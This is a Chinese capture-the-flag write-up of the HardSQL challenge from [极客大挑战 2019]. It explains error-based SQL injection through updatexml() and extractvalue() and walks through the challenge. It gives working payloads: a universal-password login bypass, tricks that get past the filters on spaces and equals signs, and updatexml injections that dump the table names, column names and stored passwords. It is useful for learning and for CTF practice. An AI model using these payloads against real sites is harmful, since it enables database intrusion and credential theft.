当前位置: 首页 > news >正文

[极客大挑战 2019]HardSQL1 解题记录

*前置知识

SQL 报错注入(Error-Based Injection)。当页面不直接显示数据库查询结果,但会回显数据库错误信息时,攻击者就可以利用它来获取数据。

简单来说,它的核心思想是:故意构造一个会导致数据库出错的 SQL 语句,并把我们想窃取的数据巧妙地“藏”在错误信息里返回出来

1.updatexml()函数报错

这是最常用的方法之一。

  • 函数作用:用于更新(查找并替换)XML 文档中指定节点的内容。
  • 函数语法UPDATExml(xml_document, xpath_string, new_value)
    • xml_document:一个 XML 格式的字符串或字段。
    • xpath_string:一个符合 XPath 语法的字符串,用于定位要修改的数据位置。
    • new_value:用来替换的新值。
2.extractvalue()函数报错
  • 函数作用:从 XML 文档中提取指定节点的值。
  • 函数语法EXTRACTVALUE(XML_document, XPath_string)
    • XML_document:一个 XML 格式的字符串或字段。
    • XPath_string:一个符合 XPath 语法的字符串,用于定位要提取的数据位置。

本文将用updatexml()函数

1.题目环境

我们以密码为注入点,这里先使用万能密码去试试:1'or 1=1#

发现并未报错,有可能是过滤了什么,我们一个个试试

发现这里有空格和等于时候就会过滤,我们可以采用()和like用来绕过,再次尝试1'or((1)like(1))#,j进入了但是里面并没有东西,我们要注入数据表去看

接下来我们用bp去探测那些字符过滤了

发现也是大部分被过滤了,但是select,where这些还没有过滤,考虑采用updatexml进行注入。

这里可以记忆一个结构1'or(updatexml(1,concat(0x7e,,0x7e),1))#

0x7e是'~',concat函数用来连接字符

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

爆出库名

接下来就是表名

1'or(updatexml(1,concat(0x7e,select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

爆字段名

1'or(updatexml(1,concat(0x7e,select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

爆flag

1'or(updatexml(1,concat(0x7e,select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

注意:这里字段名不用加''。

这里的话只是前面一部分应为这个报错只会输出32个字符,我们可以使用 right去获取后面一部分

1'or(updatexml(1,concat(0x7e,select(group_concat((right(password,20))))from(H4rDsq1)),0x7e),1))#

http://www.jsqmd.com/news/731886/

相关文章:

  • MIUI 12/13 免刷Recovery Root指南:用Magisk 24+搞定小米手机(附boot.img提取与修补全流程)
  • 别再只调PID了!聊聊化工厂里那些‘聪明’的APC系统是怎么帮你省钱的
  • 产品经理必看:如何利用GB/T 4754行业分类,给你的用户画像和商业分析加Buff?
  • B站m4s视频转换终极指南:3分钟无损转MP4的免费方案
  • 开源社区荣誉提名系统:从量化到质化的贡献认可实践
  • 对比不同模型在生成视频分镜脚本时的效果与Token使用效率
  • JBoltAI大宗物料智能监控系统:价格波动全闭环管理
  • 2026年六轨极窄推拉窗公司评价排行榜:六轨极窄推拉窗源头公司/源头六轨极窄推拉窗加工厂/精密型六轨极窄推拉窗供应 - 品牌策略师
  • 为CloudStack注入AI能力:基于MCP协议的智能运维实践
  • 图像矢量化完整指南:基于Potrace的多色位图转换高效方案
  • 别再直接调用model.forward()了!PyTorch中__call__与forward的隐藏机制与最佳实践
  • camoufox:基于容器化与Selenium的浏览器指纹伪装与反检测实战
  • Degrees of Lewdity中文汉化完全指南:从零开始享受无障碍游戏体验
  • 通过用量看板管理团队多项目api调用成本
  • rgbif的使用
  • 如何免费获取八大网盘直链下载?LinkSwift 终极解决方案
  • 通过 OpenClaw 一键配置将 Taotoken 接入智能体工具链
  • 【VSCode 2026金融代码安全检测终极指南】:覆盖SEC/FINRA合规红线、静态污点分析覆盖率提升327%的实战配置清单
  • 在持续集成环境中集成 Taotoken 进行自动化测试与代码审查
  • 弱网环境深度横测:ToDesk、向日葵、网易UU远程,谁在信号最差时仍能撑住所有人的远程需求
  • 05华夏之光永存・开源:黄大年茶思屋榜文解法「26期5题」 基于图谱的多变量序列数据因果关系分析专项完整解法
  • ICLR 2024-2025评审机制解析与投稿策略
  • 【Swoole+LLM长连接生产落地白皮书】:20年架构师亲授高并发、低延迟、零断连的5大核心部署法则
  • 游戏电竞护航陪玩源码系统小程序:订单状态机设计与业务流程自动化实践 - 壹软科技
  • 通过curl命令直接测试Taotoken聊天补全接口的步骤
  • ClawDesk:基于YAML与心跳机制的AI Agent自动化编排平台
  • MASA全家桶汉化包:中文玩家的终极游戏体验优化方案
  • 《计算机图形学基础》《Fundamentals of Computer Graphics》 “虎书” 目录 标准术语中译版
  • 探索 Taotoken 标准 OpenAI 协议带来的广泛工具兼容性
  • LikeShop vs 主流SaaS电商平台对比矩阵(有赞 / 微盟 / Shopify)